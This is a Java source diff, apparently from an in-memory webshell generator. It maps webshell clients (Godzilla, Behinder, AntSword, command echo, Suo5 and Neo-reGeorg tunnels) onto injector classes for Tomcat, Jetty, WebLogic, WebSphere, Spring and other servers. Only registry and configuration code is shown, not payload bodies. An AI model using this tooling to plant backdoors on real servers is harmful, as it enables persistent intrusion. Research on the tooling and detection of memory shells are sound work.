import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
import lombok.Getter;
import static com.reajason.javaweb.memshell.ShellType.*;
import static com.reajason.javaweb.memshell.server.ServerToolRegistry.addToolMapping;
/**
* @author ReaJason
* @since 2024/11/22
*/
@Getter
public enum Server {
/**
* Tomcat 中间件
*/
Tomcat(new TomcatShell()),
/**
* Jetty 中间件
*/
Jetty(new JettyShell()),
/**
* JBoss AS 中间件JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
*/
JBossAS(new JbossShell()),
JBossEAP6(new JbossShell()),
/**
* Undertow对应是 Wildfly 以及 JBoss EAP也有可能是 SpringBoot 用的
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
*/
Undertow(new UndertowShell()),
JBossEAP7(new UndertowShell()),
WildFly(new UndertowShell()),
/**
* SpringMVC 框架
*/
SpringWebMvc(new SpringWebMvcShell()),
/**
* Spring WebFlux 框架
*/
SpringWebFlux(new SpringWebFluxShell()),
/**
* WebSphere 中间件
*/
WebSphere(new WebSphereShell()),
/**
* WebLogic 中间件
*/
WebLogic(new WebLogicShell()),
/**
* Resin 中间件<a href="https://caucho.com/products/resin/download">Resin</a>
*/
Resin(new ResinShell()),
/**
* GlassFish 中间件
*/
GlassFish(new GlassFishShell()),
Payara(new GlassFishShell()),
/**
* 宝兰德中间件
*/
BES(new BesShell()),
/**
* 东方通中间件
*/
TongWeb6(new TongWeb6Shell()),
TongWeb7(new TongWeb7Shell()),
/**
* 金蝶天燕中间件
*/
Apusic(new ApusicShell()),
/**
* 中创中间件
*/
InforSuite(new InforSuiteShell()),
/**
* 普元中间件
*/
Primeton(new GlassFishShell()),
/**
* XXL-JOB
*/
XXLJOB(new XxlJobShell());
private final AbstractShell shell;
Server(AbstractShell shell) {
this.shell = shell;
}
static {
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, GodzillaListener.class)
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
.addShellClass(VALVE, GodzillaValve.class)
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(SERVLET, BehinderServlet.class)
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
.addShellClass(LISTENER, BehinderListener.class)
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
.addShellClass(VALVE, BehinderValve.class)
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(SERVLET, AntSwordServlet.class)
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, AntSwordListener.class)
.addShellClass(VALVE, AntSwordValve.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, CommandListener.class)
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
.addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(SERVLET, Suo5Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
.addShellClass(LISTENER, Suo5Listener.class)
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
.addShellClass(VALVE, Suo5Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
.build());
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
.addShellClass(SERVLET, NeoreGeorgServlet.class)
.addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class)
.addShellClass(FILTER, NeoreGeorgFilter.class)
.addShellClass(JAKARTA_FILTER, NeoreGeorgFilter.class)
.addShellClass(LISTENER, NeoreGeorgListener.class)
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
.addShellClass(VALVE, NeoreGeorgValve.class)
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
.build());
}
}
@@ -0,0 +1,44 @@
package com.reajason.javaweb.memshell;
/**
* @author ReaJason
* @since 2024/11/22
*/
public enum ShellTool {
/**
* 哥斯拉
*/
Godzilla,
/**
* 冰蝎
*/
Behinder,
/**
* 蚁剑
*/
AntSword,
/**
* 命令回显
*/
Command,
/**
* Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
*/
Suo5,
/**
* Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
*/
NeoreGeorg,
/**
* 自定义
*/
Custom,
;
}
@@ -0,0 +1,49 @@
package com.reajason.javaweb.memshell;
/**
* @author ReaJason
* @since 2024/11/28
*/
public class ShellType {
public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet";
public static final String FILTER = "Filter";
public static final String JAKARTA_FILTER = "JakartaFilter";
public static final String LISTENER = "Listener";
public static final String JAKARTA_LISTENER = "JakartaListener";
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
public static final String NETTY_HANDLER = "NettyHandler";
public static final String AGENT = "Agent";
public static final String ASM = "ASM";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
public static final String WEBSOCKET = "WebSocket";
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
}
@@ -1,57 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class SpringWebFluxShell extends AbstractShell {
public static final String WEB_FILTER = "WebFilter";
public static final String HANDLER_METHOD = "HandlerMethod";
public static final String HANDLER_FUNCTION = "HandlerFunction";
public static final String NETTY_HANDLER = "NettyHandler";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(WEB_FILTER, Pair.of(CommandWebFilter.class, SpringWebFluxWebFilterInjector.class));
map.put(HANDLER_METHOD, Pair.of(CommandHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class));
map.put(HANDLER_FUNCTION, Pair.of(CommandHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class));
map.put(NETTY_HANDLER, Pair.of(CommandNettyHandler.class, SpringWebFluxNettyHandlerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(WEB_FILTER, Pair.of(GodzillaWebFilter.class, SpringWebFluxWebFilterInjector.class));
map.put(HANDLER_METHOD, Pair.of(GodzillaHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class));
map.put(HANDLER_FUNCTION, Pair.of(GodzillaHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class));
map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, SpringWebFluxNettyHandlerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(WEB_FILTER, Pair.of(Suo5WebFilter.class, SpringWebFluxWebFilterInjector.class));
return map;
}
}
@@ -1,87 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class SpringWebMvcShell extends AbstractShell {
public static final String INTERCEPTOR = "Interceptor";
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
public static final String CONTROLLER_HANDLER = "ControllerHandler";
public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
public static final String AGENT_FRAMEWORK_SERVLET = "AgentFrameworkServlet";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(JAKARTA_INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(AntSwordInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(CONTROLLER_HANDLER, Pair.of(AntSwordControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(AntSwordServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
return map;
}
}
@@ -1,119 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.*;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/11/22
*/
public class TomcatShell extends AbstractShell {
public static final String WEBSOCKET = "WebSocket";
public static final String UPGRADE = "Upgrade";
public static final String EXECUTOR = "Executor";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
map.put(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class));
